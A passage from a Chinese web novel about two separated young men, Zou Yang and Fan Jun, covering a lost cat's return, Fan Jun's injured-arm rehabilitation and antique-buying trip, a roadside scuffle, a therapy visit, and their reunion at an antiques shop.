邹飏捏了捏手里的罐子,仰头喝光了剩下的可乐,然后站了起来,往外走去:“那我走了,我晚点儿还有课。” “好,好。”吕叔也站了起来,“小飏啊。” “嗯。”邹飏应了一声。 “最近先……”吕叔说得很艰难,“先不要联系樊均,让他缓缓,让你妈也缓缓,她虽然不跟你说但是……” “我知道,”邹飏说,“我不会联系樊均。” 回到车上,邹飏把椅背往后一扳,半躺着长长叹了一口气:“走。” “他去吗?”刘文瑞发动了车子。 “去,”邹飏说,“希望管用吧,他俩好几年的感情呢。” “咱俩……”刘文瑞问。 “樊均估计已经不在南舟坪了。”邹飏突然说了一句。 “去哪儿吃,”刘文瑞说,“你怎么知道?” “回学校吃吧,”邹飏闭着眼睛,“小白不在旧馆住了,狗窝里的垫子还是夏天的那个冰垫呢,平时旧馆会放一套它的牵引绳,现在也没了……” “没问问吕叔?”刘文瑞问。 “没,吕叔还让我先别联系樊均,让我妈缓缓,”邹飏拧着眉,摘掉眼镜,用手臂压住眼睛,“他大爷的,我到底说了什么?那么明确,连圆一下都圆不了吗?” 刘文瑞叹了口气:“你平时说话就不留余地,脑子不清醒的时候说的话还想圆?” 邹飏没出声。 过了一会儿,刘文瑞停了车。 邹飏以为等红灯,但刘文瑞直接熄了火。 “嗯?”邹飏睁开了眼睛。 “去看看吧,悄悄的。”刘文瑞说。 “什……”邹飏愣了愣,猛地坐了起来,戴上了眼镜,发现刘文瑞把车开到了樊均家楼下。 “敢上去吗?”刘文瑞问,“不行的话我陪你,或者算了。” 邹飏没有说话,头靠在车窗边往上看着楼上。 “这是不是不行啊?”刘文瑞突然一拍方向盘,“我靠,你是不是不应该再去那个屋?你心理医生说没说这个……” 邹飏打开门下了车:“这也是樊均住了好几年的地方。” 刘文瑞顾不上别的,赶紧也下了车,陪着他一块儿走进了楼道。 门锁换过了,门边放着一个捕笼,笼子里放着个猫罐头。 “这什么意思?”刘文瑞低声问。 “大黑丢了,”邹飏轻声回答,“一直没找到。” 身后的门打开了,老头儿从门缝那儿看着他俩:“干嘛的?” “大爷,是我。”邹飏回头。 “你啊?”老头儿很吃惊地探了脑袋出来,盯着他看了半天,“好了啊?” “嗯。”邹飏应着。 “猫没回来呢,这两天也没见着。”老头儿说。 “嗯。”邹飏转头看了一眼关着的门,害怕门会突然打开,樊均站在门里,但也害怕这门就这么安静地关着。 “你来干嘛?”老头儿问,“樊均不是不住这儿了吗?” 这句话像是一记重锤,把所有未定都砸实了。 “搬走了?”刘文瑞问,“房也退了吗?” “没退,租到年底了的。” “哦,”邹飏清了清嗓子,“我就来……看看猫有没有抓到。” “抓到我会给他打电话的,”老头儿说,“他在我这儿放了一箱罐头呢。” “这样啊……”邹飏按了一下电梯按钮,“麻烦了。” “也还行,反正给钱了。”老头儿说。 樊均站在窗边,看着窗外渐渐亮起的各种灯。 这条街在整个商贸城不算热闹的,但夜幕降临各家的灯都亮起来时,整条街都笼上了各种色彩的光晕,还是有一种跟南舟坪恍如隔世的感觉。 二楼樊均的房间里甚至都不用开灯,也能看清所有的东西。 他低下头,看了看脚下踩着的弹力带,左手手指勉强半勾半握地抓住弹力带另一头,在手上绕了两圈,慢慢向外抬起。 弹力带绷紧,他继续慢慢抬手臂,但并没有往上抬高多少,就已经无法再用力了。 他放下手臂,缓了缓,吐出一口气,再次慢慢上抬手臂。 这次甚至比之前抬的更低,而且手臂抖得厉害。 他有些无奈,闭上眼睛,活动了一下肩,调了一下手臂的角度,第不知道多少次拉着弹力带缓缓上抬。 再一次失败之后,他松了手,把弹力带扔在了地上。 0.5公斤的哑铃,最低磅数的弹力带,最简单的曲肘,转肩,展臂…… 对于他来说,比躺在病床上的那段时光更折磨人。 他需要费力去做的这些动作,都是普通人不需要思考的。 他在窗边的桌子前站了很长时间,身体里有一股火,愤怒,无奈,焦虑,绝望,烧得发疼。 最后他把左臂放在了桌上,右手握拳狠狠砸了上去。 一拳,两拳,再一拳…… 狠狠地吼。 “啊——” “樊均!樊均!”何川拽着他右手,在他背上拍了好几下。 樊均慢慢回过神,转头看着他,也听到了小白焦急哼哼的鼻音。 “没事儿。”樊均抽出手,又拍了拍小白的头。 “我刚要出门儿,被狗叫回来了,”何川盯着他,“你这是没事儿的样子?” “没事儿,”樊均把屋里的灯打开了,“你走吧。” “行吧,”何川摸了摸小白的头,转身往楼下走,“你最好真没事儿,别一会儿发火把我下面货砸了啊。” “不好意思。”樊均靠着桌子,低声说。 “不说这个,就是吧,有些事儿不能急,”何川一边下楼梯一边回头跟他说着话,“明天你还是去……哎——” 话没说完脚底下踩了个空。 樊均在他刚开始回头说话的时候就已经两步跨到了楼梯上。 何川准备往一楼滚下去的时候,樊均一把抓住了他后背的衣服。 “我靠,”何川猛地被拽停,斜着悬在楼梯上方,话都被衣领勒没了,好一会儿才扶着墙站稳,“这破楼梯,当初装修的时候我就说了不要弄这么陡……” 樊均松了手,正常这样拽人,他左手肯定要是拉一把墙上扶手的,但现在只能强行用腿撑住全部向下的力量……要不是他底子还在,这会儿大腿就得被拉伤。 “你看看,”何川整理了一下衣服,“单手救人都这么轻松,你根本不用急,你都不需要左手。” “那还是需要的,”樊均说,“要不多重残疾我还得重新去办我的残疾证。” 何川瞪着他,好半天才说了一句:“你这什么地狱笑话。” 樊均笑了笑。 “刚我说到哪儿了……对了,明天去我给你说的那个中医那儿看看能不能针灸配合一下。” “嗯。”樊均应了一声。 何川出了门,这会儿还没到九点,不过商贸城这边儿不比商场,过了九点他们这条街的人就不多了。 樊均没有上楼,在一楼的躺椅上坐下了,等着十点的时候关店门。 小白在躺椅后面趴着。 自打上回趴在门边,把进店的客人吓了一跳之后,小白人多的时候就都在后院睡觉,晚上才会进店里,在躺椅后头趴着。 樊均靠在躺椅上,枕着胳膊看着落地窗外的街道。 人慢慢变少,对面的一家银器店和一家手工陶店都打烊了,灯一关掉,四周跟着就安静下去了,虽然他本来也听不到什么声音。 就感觉看起来很安静。 他拿出手机看了看时间,也差不多可以关门了。 吕泽下午的时候给他发了消息,不过手机小白没拿着,他经常会听不到。 吕泽说下周馆里同事们聚餐,问他去不去。 【樊】不去了 顿了顿又补了一句。 【樊】后天出门,不知道什么时候回 回完消息,他又看到了被置顶的邹yang的名字。 他指尖轻轻往上滑了一点儿,把邹yang推上去挡住了。 然后点开了朋友圈,离开了南舟坪,他有点儿像离开了自己的世界,进入了一个模糊的另一个新世界。 看到那些一如既往的朋友圈时,才能有一点点实感。 刚看了两条,往下一翻,就看到了熟悉得看到就会心头一颤的头像。 邹飏发了两张照片,一张是酒,spumoni,另一张是点着数字蜡烛“20”的蛋糕。 樊均的手猛的一抖,呼吸突然发紧。 邹飏今天生日。 他迅速看了一眼今天的日期。 25号。 樊均盯着手机屏幕,一直到黑屏了也还盯着。 犹豫了很长时间,他重新划开手机,在邹飏的那条朋友圈下发了一句。 【樊】生日快乐[蛋糕] 邹飏看着这一行简单的几个字。 在这条朋友圈下面众多乱七八糟神里神经的评论里,樊均这条生日祝福正经中透着小心翼翼。 他看了半天才退出微信,视线越过面前的蛋糕和酒,看向包厢里。 这几个人正在唱歌,很欢乐。 跟去年的生日不同,今年为了寿星的身心健康,这帮人没有安排太多节目,就是吃饭唱歌,本来应该再去吃顿宵夜,最后也取消了。 刘文瑞送邹飏回家,邹飏靠着椅背,看着窗外闪过的灯光:“没玩尽兴吧,你今天酒都没喝。” “开车呢,本来也没打算喝,”刘文瑞说,“什么尽兴不尽兴的,你生日,你舒服了,我们就尽兴了。” “知越哥哥魂穿你了?”邹飏转头看了他一眼。 “滚。”刘文瑞说,“晚上我住你家啊,我不想再跑一趟了。” “嗯。”邹飏应了一声。 “回来拿东西吗?”老妈有些吃惊地问。 大概是没想到向来玩通宵的生日聚会,会在十二点前就到家了。 “散了。”邹飏笑笑,发现老妈眼睛有些发红。 他吓了一跳,赶紧往鞋架上扫了一眼,怕不是吕叔来过,这会儿要还在他家,那就真尴尬了。 还好,看来是走了,或者老妈是跟他出去聊的。 “阿姨我不回去了啊,”刘文瑞鞋一踢就往邹飏卧室走过去,“正好我有衣服在这儿。” “住这儿吧,以为你们要玩一夜呢,”老妈说,“现在是老了吗?” “我们备考呢,要早睡早起,”刘文瑞在屋里说,“备考明年三月教资。” “你们考四级什么的不都提前一个月复习吗?这个提前这么久?”老妈问。 “听说现在通过率可低了,百分之二十。”刘文瑞拿了换洗衣服出来。 “也就是我们宿舍四个,可能通过大半个我。”邹飏说。 “怎么不是大半个我。”刘文瑞进了浴室。 “你正好脑袋过不去。”邹飏说。 “阿姨!管管他!”刘文瑞在浴室里喊。 老妈笑了笑,坐回了沙发上,抹了抹眼睛,看向邹飏:“小飏。” “嗯?”邹飏坐到了她身边。 “你是不是……”老妈低声问,“找过老吕?” 邹飏没想到老妈会问得这么直接,顿了顿才点了点头:“嗯。” “你偷看我的药了吧?”老妈再次直接地问。 邹飏看了她一眼:“嗯。” “妈没事儿啊,”老妈拍拍他后背,“你不要操心我,我和老吕,我有数的,你自己……好好的就行。” “嗯。”邹飏点了点头。 自己好好的就行。 可以看上去好好的。 但要真的好好的,很难。 只能找点儿什么事儿让自己忙碌起来。 比如当个埋头苦读的好学生。 宿舍这帮人为了等他一块儿,放弃了九月的教资考试,要一块儿明年三月考。 说起来是明年,但其实也就四个月了,他们三个邹飏不敢说,但自己这心不在焉的状态,真不敢保证。 越是想静下心来看看书,就越是容易想起很多事儿。 老妈的状态似乎比之前好一些了。 是不是跟吕叔复合了? 但周末又还是会在家,不用去约会的吗?周末旧馆还有小学员,不过去帮忙做饭了吗? 邹飏不知道自己这么急切,到底是急老妈,还是急自己。 日子每过一天,都像是时间用钢梳从他心里刮过一遍。 什么样的时间都走得很慢,唯有等待无比漫长。 明明关注一个人,想要接近一个人,喜欢一个人,可以那么快,那么无知无觉。 为什么远离一个人会那么清晰,每一分每一秒每一寸,都能感知得到。 但时间多少还是锋利的。 他有时候会仔细体会,自己的煎熬有没有少一些,时间有没有把什么东西变得淡一些。 留在那些难眠深夜里的,还有多少是求而不得,又有多少只是执念。 楼顶能看到绽放的焰火,邹飏抱着老妈的肩,跟她一块儿看着远处夜空中不断炸开的烟花。 身后的邻居在倒计时,三,二,一。 “新年快乐。”邹飏说。 “新年快乐,”老妈笑着说,“希望我儿子今年顺顺利利的。” “会的。”邹飏笑笑。 回到家里,窗外还有不断亮起的彩色光芒。 老妈回卧室里打了个电话,走出来的时候脸上表情有些犹豫:“小飏。” “嗯?”邹飏看着她。 “今年过年……”老妈走过来。 “你要去跟吕叔过吗?”邹飏问。 老妈还是犹豫着,没有说话。 “去呗,怎么了?”邹飏说,毕竟现在吕叔对于邹飏来说,已经不再是需要提防的闯入者,而是老妈十几年失败婚姻之后的一剂良药。 “吕叔想问问你要不要一起,”老妈小声说,“人多热闹些,吕泽今年也带女朋友回来吃年夜饭……” 邹飏突然有些恍惚,感觉身体跟着都晃了晃。 “樊均过年要出差,回不来……”老妈说。 哦。 “好。”他说。 老妈后面说了什么他都没听清,他一直觉得这段时间这个名字已经沉寂在心里的某个角落了,但猛地这么听到时,就还是像一阵刮过心脏的锋利的风。 所有东西都被惊醒了。 “钱这块儿肯定不会亏你的,”何川撬着茶饼,“毕竟过年嘛,加班费都得三倍呢,何况这么出差,而且这次东西我都看照片了,真正有年头的老房子,保存还特别好,绝对能收一批好货。” 樊均没说话,他其实已经决定跟何川一块儿过去了,只是这还是第一次过年的时候他没跟吕叔他们一块儿的。 特别是今年吕泽还要把女朋友带回来一块儿吃饭,那个奶站的姐姐。 多少会有点儿失落。 “确定好了吗?”樊均说,“别跟上回似的,过去了又反悔要提价。” “确定是确定了,但谁知道呢,”何川摸着小白的耳朵,按下去又弹起来,“涉及钱的事儿不到最后都不好说,不过我感觉还是得扯一下的,为什么非得过年才让我们去,无非就是家里年轻人过年回来了,要盯着点儿。” “嗯,”樊均应了一声,“怕被你骗钱了。” 何川嘿嘿笑了起来:“我其实也没骗过谁钱,关键是我得赚钱。” “什么时候走?”樊均问。 “下周,”何川看了看手机,“开车得两天,你能轮换一下的话……你胳膊现在能开车吧?” “能。”樊均说。 手现在还是用不上劲,但胳膊能抬起来了,抓个方向盘没什么问题。 “那两天能到了,”何川说,“年二十八到,先去看看房子,年前他们肯定忙忙乱乱顾不上,看房子的时候能少受点儿干扰。” “嗯。”樊均点了点头。 出发前何川打了八百个电话,安排家里,安排店里,安排朋友聚会。 樊均就很轻松,跟吕叔说一声,再把小白安排给何川他妹妹帮忙照顾一下,就没有什么可以“安排”的了。 轻松而孤单。 甚至行李都比何川的少。 出发时,整个城市都已经满满的年味儿,一眼过去,全是红色。 路上车挺多,赶着回家过年的人差不多都是这几天出发。 樊均看着车窗外时不时飘过的一阵硝烟,关着窗也能闻到浓浓的火药味儿。 不知道为什么,樊均一直不喜欢过年,从腊月就开始心里发慌。 一边是一家家的喜庆热闹,一边是满街的空无一人。 车上高速前,换了樊均开车,何川睡觉,晚上他开夜车。 “不赶时间,”何川说,“稳着点儿开就行。” “嗯。”樊均应了一声。 车上了高速,汇进车流中,时间就好像突然加了速,所有的车都在往前飞奔。 他也在飞奔,只是跟大多数人的目的地不同。 开出城差不多一个小时,他的手机响了一声。 “帮我看一眼。”樊均看了一眼何川,这人已经睡着了,他又喊了一声,“何老板!” “哎什么事儿我的师父。”何川睁开了眼睛。 “帮我看一眼手机,”樊均说,“没有密码。” 年前这会儿事儿多,他怕是吕叔或者吕泽给他发了消息。 “有个消息,”何川打着呵欠拿过他的手机看了看,“吕泽的。” “说什么了?”樊均问。 “大黑找到了。” 第63章 “大黑找到了?”邹飏拿着手机,一下从沙发上跳了起来。 “是的,”老妈电话里的声音听起来很开心,“那个老头儿刚把笼子拎过来了,我看着还挺健康的,还长个儿了呢,就是毛有点儿糙了。” “能确定是它吗?”邹飏跑到门边,一边穿鞋一边套上外套。 “吕泽说右耳朵里面有个痣嘛,还在的,”老妈说,“确定就是它没错。” “我现在过去。”邹飏挂掉电话出了门。 今天像是要下雪,外面的风很冻。 邹飏本来想打车,但不知道是不是年前了,车很少,他等了三十秒,没人接单,于是放弃了,决定骑车过去。 出来得太急,帽子忘了戴,还好围巾没忘,骑到一半的时候他停下来学着老妈的样子,把围巾包在了脑袋上,再在脖子上绕了两圈儿。 “这手都冻废了吧!”老妈一见面首先就看到了他通红的手。 “没事儿,猫呢?”邹飏搓了搓手,发现居然没什么知觉。 他忍不住低头看了一眼自己的手,还保持着握住车把的样子,试着握了握拳,动作非常迟缓。 樊均的手是这样吗? 比这严重,还是比这好一些? 他的手现在怎么样了? 走进暖乎乎的厨房,看到趴在灶台边取暖的大黑时,他才回过了神。 “大黑黑……”他走过去,伸手的时候眼泪跟突然拧开了水龙头似的就那么开始滴。 的确是大黑,虽然天下白猫那么多,看起来都一个样,但他还是能一眼就认出来这就是大黑。 只是大黑不像几个月前那么亲人了,伸手过去的时候它没有把脑袋往人手上蹭,而是缩在那儿定定地看着邹飏。 “是我,是小飏哥哥,”邹飏抱起大黑,把脸埋进了大黑的毛里。 他没敢转身,不想身后站着的人看到他决了堤的眼泪。 没有人知道这只猫对于他来说意味着什么,这是樊均一直养着的猫,跟樊均在一块儿的时间比他长得多。 大黑在这一刻,是他能够触碰到的,可以拥抱的,跟樊均唯一的关联。 一直到大黑在他怀里开始微微挣扎,邹飏才抬起了头,吸了一下鼻子。 “这孩子,”老妈声音里也带着颤抖,“大黑都多久没洗澡啦,糊你一脸灰。” “应该不是太脏,”吕泽开口,“指甲都剪过,估计前阵儿被人抱回家了,这几天才又跑出来的。” “难怪一直找不到……”老妈说。 “这个猫……”邹飏回过头。 “你愿意养就养着,”吕叔说,“你要不方便养,就放我这儿,猫窝啊吃的那些都在的呢。” “我先带回家吧。”邹飏低声说。 “你顾得过来吗?”老妈问。 “那必须顾得过来,”刘文瑞把猫窝放到邹飏电脑桌下面,“你顾不过来就放我家,我反正寒假也没地儿去,天天在家。” “你妈连它带你一块儿扔出去。”邹飏说。 “那不会,我说是你的,她咬牙也得忍着,”刘文瑞抱过大黑,跟抱孩子似的在屋里边溜达边轻轻颠着,“黑黑啊,还记得我吗?当初可是我最先决定救你的,你得管我叫恩人知道吗?以后有机会得报恩,不用化成人形嫁给我,给我送点儿钱来就可以了,我们金主现在限额了,这月的钱都还没去要……” “再往它身上扔个硬币吧。”邹飏说。 “什么?”刘文瑞问。 “我对着许愿池都不敢这么大放厥词。”邹飏笑着躺到床上,冲大黑张开胳膊,“来,哥哥抱。” “来了哥哥。”刘文瑞立马抱着猫扑了过来。 “滚!”邹飏吼了一嗓子。 除了小时候的家和后来的南舟坪,再算上跟着邹飏去过的地方,樊均连这个城市的地图都没有扫完。 这几个月跟着何川倒是出了三次城,虽然并没有在别的“城”停留,去的都是乡下。 以前他想象过跟邹飏一块儿出去旅游,会去哪里,会吃到什么,会看到什么,会碰到什么事儿,自己会不会害怕,会不会出什么状况…… 现在倒是出去了,没有害怕,也没出状况。 但是很苦。 “凑合两晚吧,”何川看着破旧老屋里的单人床,“还好有电热毯。” “我睡椅子。”樊均马上说。 “床上睡得下,咱俩都不胖,特别我。”何川说。 “我不习惯。”樊均说。 “你睡椅子能习惯?”何川看着他。 “能。”樊均点了点头。 他不仅能睡椅子,他还能站着蹲着靠着睡,虽然已经十几年没这么睡过了,但就睡几小时的事儿,姿势并不讲究。 因为马上过年了,村里挺热闹的,晚上还有各种活动,敲锣打鼓放烟花的。 不过跟他们没什么关系,他们住在客户老房子这边儿,基本没几户人家。远处那些热闹的声音这个距离樊均都听不太清了。 很静。 静得星星都比平时看到的清晰些。 “你是真爽,这还觉得安静呢,”何川躺在床上嘟囔着,“我这刚要睡着,那边咚咚咚就敲……” “耳朵换给你。”樊均说。 “哎,”何川叹了口气,“别这么说,晚上我做梦都要抽自己嘴巴子。” “睡吧,”樊均说,“真抽了我会拦着你的。” 奔波了两天还是挺累的,晚饭在客户家里吃的,还喝了不少酒。 何川没多久就开始打呼噜了。 樊均关掉灯,坐在窗边的一张老藤椅上,低头看着手机。 窗外淡淡的星光让屋里的本就陈旧的物件更是失去了颜色。 但这几天的朋友圈里色彩倒是很浓郁,全是过年,一眼扫过去,每条都仿佛带着响儿,欢声笑语的。 他小心地缓慢地向上拖动着页面。 想要看到什么,又怕什么都没有。 向下滑动了两页之后,在大堆热闹的九图里,他看到了简短的一句话- 唯见月寒日暖,来煎人寿。 樊均的手指停在了空中。 年夜饭挺和谐的,也吃得挺热闹。 喝酒,聊天,放鞭炮,看烟花…… 吕泽的女朋友旁边隔了一条街那个奶站的老板,人很好,跟吕泽不太一样,熟了之后话挺多的,也爱笑。 吕泽被她带得活泼了不少。 吕叔和老妈也挺开心,老妈虽然还在吃药,但总体状态都挺稳定的。 唯有在热闹的人群里熬着时间的邹飏。 有些孤单。 面对着眼前这样清晰的幸福,他倒是没有了鸳鸯煮熟的愤慨。 只剩了如同身处另一个时空的孤单。 时间往前,或者停留,跟他都没有关系。 老妈是能感觉到他情绪低落的,甚至年都还没过完,就逼着他去找心理医生,担心他会抑郁。 “心理科初四才上班呢。”邹飏说。 “那也就还两天了,”老妈皱着眉,“初四去。” “嗯。”邹飏笑了笑。 “大哥,我们年都在这儿过的,”何川看着房主,一脸不爽,“有没有诚意你看得到,我光时间成本都多少了,你要早说你做不了主,我们就不来了……” “谁说我做不了主了!”房主喊了一声,“这房子我爹留给我的,我想怎么拆就怎么拆,想卖什么就卖!” “东西我都挑好了,你要这么说我立马打包。”何川说。 “打包!”房主一挥手,走出了屋子。 何川并没有动,樊均也没动,站在已经拆掉窗框的窗边看着外面院子里的几个人。 都是这家的兄弟和小辈儿,一会儿这帮人不走,他们东西根本不可能拿出屋。 就这套流程,已经三次了,走不出去。 起争执的时候樊均甚至还被威胁了。 “要不是看你是个残疾人,今天一锄头拍废你!” “这回的货还收得成吗?”樊均转头看着坐在桌边正拿快克杯不急不慢泡茶的何川。 “收得成,”何川倒了两杯茶,“喝茶。” “你以前收货,跟谁一块儿?”樊均问。 说实话,就何川这废物样子,村里任何一个人都能让他竖着进来横着出去。 “都不一定,有时候拉个朋友,有时候体育学院找个学生。”何川说。 “靠谱吗?”樊均愣了愣。 “不靠谱,只起到一个震慑作用,”何川喝了口茶,“真动手了我挨打他们跑。” 樊均看着他,半天才问了一句:“一会儿要是动手……” “你不会跑的,你会救我,而且你是真的能打。”何川说。 “你请体育学院的学生多少钱一趟?”樊均问,“扔下你跑的那种。” 何川看着他,过了一会儿才说:“师父,我给你的补贴是你不跑的那种。” “哦。”樊均笑了笑。 “你可别……”何川被他笑得有点儿没底。 院子里的人已经吵成了一团。 说的什么,都听不懂,但听得出话里含亲量都很高,这种亲戚间的骂战,感觉很容易骂回自己头上,但大家都很激动,并不会细辩。 过了一会儿,又有几个人进了院子,盯着屋里的樊均和何川看了一会儿,跟房主到了院子外头说话。 几分钟之后房主回来了,冲站在窗边的樊均一挥手:“搬吧!” “搬,要快。”何川立马起身说了一句。 每次何川都会说这句,理由是怕对方反悔又要扯,但今天这句说得很急,应该是真的需要快。 东西都已经整理过,各种木制品能拆的都已经拆好,还有些瓶瓶罐罐和石雕。 樊均左手不太用得上劲,主要靠右手,能感觉得到最后到的那人一直在看他的手。 何川倒是没有老板架子,抱着东西叮哐地就往车上一趟趟跑着。 没多大一会儿,东西都搬上了车。 房主过来递给何川一支烟,又递了一支给樊均。 “不会。”樊均说着转身跳到了车斗里。 房主把烟叼到了自己嘴上,跟何川核对完之后结了账。 没有多一句的废话,何川上车立马发动,往村口冲了过去。 何川的车是辆皮卡,跑乡下的路没问题,就是颠,他们没有时间固定车斗里的货,这会儿樊均还得扶着一堆乱晃的东西。 一路顺利地出了村,但往前开了没两分钟,三辆摩托车出现在了他们后面的路上。 “别停车。”樊均打开车窗,从后座上拿了甩棍。 “安全第一,不行东西就不要了,”何川喊,“不值多少钱。” “嗯。”樊均应了一声。 这种山路,摩托比他们的车灵活,没多大一会儿就超到了他们前面,三辆摩托五个人,拦在了路中间。 何川减了车速,但没有停。 樊均拿着甩棍跳下了车,没有停顿,直接对着几个人就冲了过去。 这几个看着就是普通村霸的样子,实战经验并不丰富,顶多也就在村里欺负欺负老弱病残。 几个人估计没想到樊均会直接冲过来,都愣了愣,一个戴着个破线帽的人最先反应过来,挥着一根铁棍迎了上来。 樊均速度没变,冲过去对着他小臂抽了一甩棍,线帽的铁棍顿时就脱了手,还没落地就被樊均一脚踢进了旁边的水沟里。 下一秒他没有犹豫,一脚踹在了一辆摩托车上,摩托翻倒在路边的同时,他借着这一脚蹬出去的劲儿,扑向第二个人,这人手里拿着的是一截锄头把儿,樊均直接砸在了锄头把儿上。 这人还没抬手,武器就已经落了地。 樊均踩上去脚往后一带,把这截儿木头从地上挑起来,再一脚也踢到了路边的田里。 接着没给这几个人反应时间,第二辆摩托车也被他踹倒在地。 何川立马明白了他的意思,车没停,慢慢从倒向两边的摩托中间压着轮子开了过去。 前后也就十多秒时间,这几个人回过神的时候,车已经开了过去。 “找死了!”最壮的一个终于反应过来了,挥着手里的水管就往樊均肩上砸了过来。 樊均偏头侧了侧身躲过,一个垫步到了他面前,左胳膊往他颈后一勾,猛地把他勒到了自己面前,右手的甩棍跟着就戳在了他眼皮上。 “我枪都不怕,就你们几个配跟我说‘找死’?” 趁着这几个人还在愣神,樊均松开了壮壮,顺手往最近的三个人胳膊上腿上又抽了几甩棍。 然后转身往车的方向追了过去。 何川低速开着车等着他,后视镜里看到他跳上车之后一脚油门冲了出去。 樊均一把抓着车斗才没又被他甩下车去。 “我操!”何川回过头从后窗看着他,“我操!” 樊均看了一眼后面,没有人再追上来,他松了口气,靠到窗边坐下:“找个地儿停车让我上前头去,冻死了。” “你就是我亲师父!”何川喊,“我亲哥!我亲……大爷!樊大爷你太牛逼了!我都没看清怎么回事儿!教我啊!回去教我啊!一条胳膊啊我操!” 樊均被他喊得有点儿脑浆子疼,把车窗关上了。 走出诊室的时候,邹飏冲候诊厅那边坐着的老妈招了招手,老妈立刻起身跑了过来。 “都说了没事儿,焦虑情绪而已。”邹飏说着把病历本和资料给了她。 “真的吗?”老妈松了口气,把东西都收到包里。 “嗯,”邹飏揽住她的肩,“我会调整好的,医生说我厉害着呢。” “你就吹吧。”老妈笑着拍了他一下。 这个年要说过好了,也过得挺好,毕竟以前要不就是跟老爸一块儿阴沉沉地过,要不就是他和老妈两个人。 可要说没过好,也的确是邹飏长这么大过得最痛苦的一个年。 还没到初六,旧馆里已经有小学员来上课了,比起平时倒是热闹了很多,附近街上也开始热闹起来。 南舟坪在发展上比所有区都快,在结束过年上却比所有区都早。 都是小生意人,过完初三,就有很多人开始忙碌了。 “你去找刘文瑞吗?”老妈问。 “不去,”邹飏说,“我今天去吕泽那儿看看。” “什么?”老妈愣了,“他们不是初六才开始上课吗?你要上课吗?” “不上,就看看,我看他这两天都已经去那边儿了,”邹飏说,“闲着也是闲着。” 老妈明显是无法理解他的行为,但也没有多说什么。 吕泽就不一样了,说得比平时都多。 他在新新馆转悠的时候,吕泽一直跟在后头说着话:“你要约课的话,初六以后。” “嗯。”邹飏应着,新新馆这边比商场那儿要大,一半是健身器材和自由训练区,一半是像之前那样武馆的布局。 “现在谭如和铁帮都还在放假,没有人上课。”吕泽说。 “嗯。”邹飏点头。 “你的课是……樊均的,比谭如和铁帮他们的课贵,”吕泽说,“应该是我上,但我现在也没空。” 邹飏点头。 “你到底要干什么?”吕泽忍不住了,大概是发生了太多事儿,这会儿又还是在过年,他控制着没发火。 “樊均在哪儿。”邹飏看了他一眼。 吕泽愣了。 “他新换的工作在哪儿?”邹飏又问。 “我不知道。”吕泽回过神来。 “樊均不让说是吗?”邹飏看着他。 “人家的私事,我不方便说。”吕泽皱着眉。 “没关系,”邹飏说,“我放假呢,我天天来都行,八点半开门是吧?” “你有病吧?”吕泽急了。 “就是有病啊,”邹飏说,“刚从医院心理科门诊出来。” 吕泽张了张嘴,没说出话来。 “你中午怎么吃?”邹飏问,“回南舟坪还是自己吃?” “什么?”吕泽看着他。 “午饭啊,你请我还是我请你。”邹飏说。 吕泽拧着眉,盯着他的眼神说不清是想发火还是无语还是别的什么,总之很复杂。 “樊均在哪儿?”邹飏接着问。 吕泽还是盯着他,眼神复杂。 “想打我的话避开肋骨,”邹飏往训练椅上一坐,“好是好了,但可能还有点儿脆……” “你是不是在耍无赖?”吕泽问。 “看出来了?”邹飏笑了笑,“我没办法了,总不能去跟吕叔耍无赖吧,他是个长辈。” “没错,所以说送长辈就这个的喻意最好了,还不俗气,”何川在店里打着视频给人介绍新带回来的货,“你家院墙上就还是刚那个窗户,我给你修复好……但是得挂在屋檐那边儿啊,不要淋雨……” 樊均靠在窗边的躺椅上,左手拿了个哑铃,一下一下地曲着肘。 他们带着货回来的当天晚上,何川就把不少东西拍了照发到了朋友圈,今天刚开市,生意就开始来了。 有何川在的时候,樊均基本就什么事儿,再有客人进来,他就招呼一下让人喝点儿茶等着就行。 这会儿太阳还没照到门口街道上,窗缝里透进来的空气清凉中带着硝烟味儿,还是很浓的年味儿。 靠在这儿能看到一溜屋檐上方的蓝天白云,今天天气很好。 偶尔有三三两两的行人从他余光里走过,待时间长了,他能看得出来哪些是会进店的,哪些只是扫一眼。 比如这个在窗边站了一会儿,还拿起外面放着的屋脊兽看了看的人,就有可能会进来。 果然这人慢慢往前走了几步,推开门进了店。 何川打完了电话正在给几个比较牛逼的货拍照,听到有人进来,打了个招呼:“过年好,慢慢看啊,里边儿还有。” 进来这人也没说话,转身直接往樊均这边儿走了过来。 后院的小白突然很大声地哼唧了起来。 樊均猛地拿开了搭在眼睛上的胳膊。 他坐着的位置是里间,跟门那边有一个半帘挡着,他只能看到这人的腿。 虽然只是很常见的普通的黑色休闲裤和板鞋,但他还是因为紧张而开始有些眩晕。 没等他再多想,这人已经掀开帘子走了过来,一直走到了他面前才停下。 是邹飏。 樊均把手里抖得有点儿握不住了的哑铃往地上放,但没注意高度,哑铃在地板上砸了一下。 “我地板啊!”何川喊,“都老砖啊当心点儿!” 他慢慢从躺椅上站了起来,看着邹飏,想要确定什么,但又不知道自己想要确定什么。 只能确定眼前这个人是邹飏。 盯着看了好一会儿,樊均才开口:“嗨,帅哥。” 第64章 “嗨,帅哥。”邹飏开口的时候声音都是沙哑的。 站在窗外看到躺椅上靠着的樊均时,他以为自己那一秒就要流泪,但没有。 为了稳定情绪,他拿起窗外那个跟大黑很像的石头小兽的时候,也以为自己马上就要哭了,但还是没有。 然后他走进店里,看到何川,再走进里间,看到樊均…… 半年来所有的情绪,好的坏的,期待的落空的,酸的恨的,全都堵在了嗓子眼儿里,声带都挤哑了。 但他没有哭。 听到樊均那句“嗨,帅哥”的时候,他只觉得自己整个人都松了下来。 他一直没觉得自己哪儿绷着了,但这一秒,他真实地感觉到了放松,松了一口气的那种放松,悬着的一切都落了地的那种放松。 然后就不知道该说什么了。 他从吕泽那里磨到了樊均模糊的工作地址,商贸城的某一条街上,何川开的店,卖老物件儿的店。 然后一路过来,转了四条街,最后找到了这条看上去有些怀旧的街。 历时三个半小时。 这么长的时间里,他脑子里完全是空的。 什么都没有想过,没有想过见面会是怎样的场景,更没想过见了面要说点儿什么。 身后传来一声门被撞开的声音。 “小白!小白定!我的货……小白!定!”何川的声音绝望而坚定,“小……樊均!樊均!” 接着就感觉身后一阵风,伴着帘子被扯开的声音。 邹飏回过头的时候,小白几乎是站着跑进来的,一路哼唧着,带着几声失控的吠叫,听着像是在哭。 虽然邹飏已经不害怕小白,但小白站起来跟个头实在是很高,冲到面前时还是很有压迫感。 他在惊恐和看到小白眼睛时的震惊心疼中来回翻滚着,整个人都凝固在了原地。 “小白!定!”樊均赶紧给小白下了指令。 但小白没有听,更大声地喊了起来,像是在撒娇,又像是要说点儿什么。 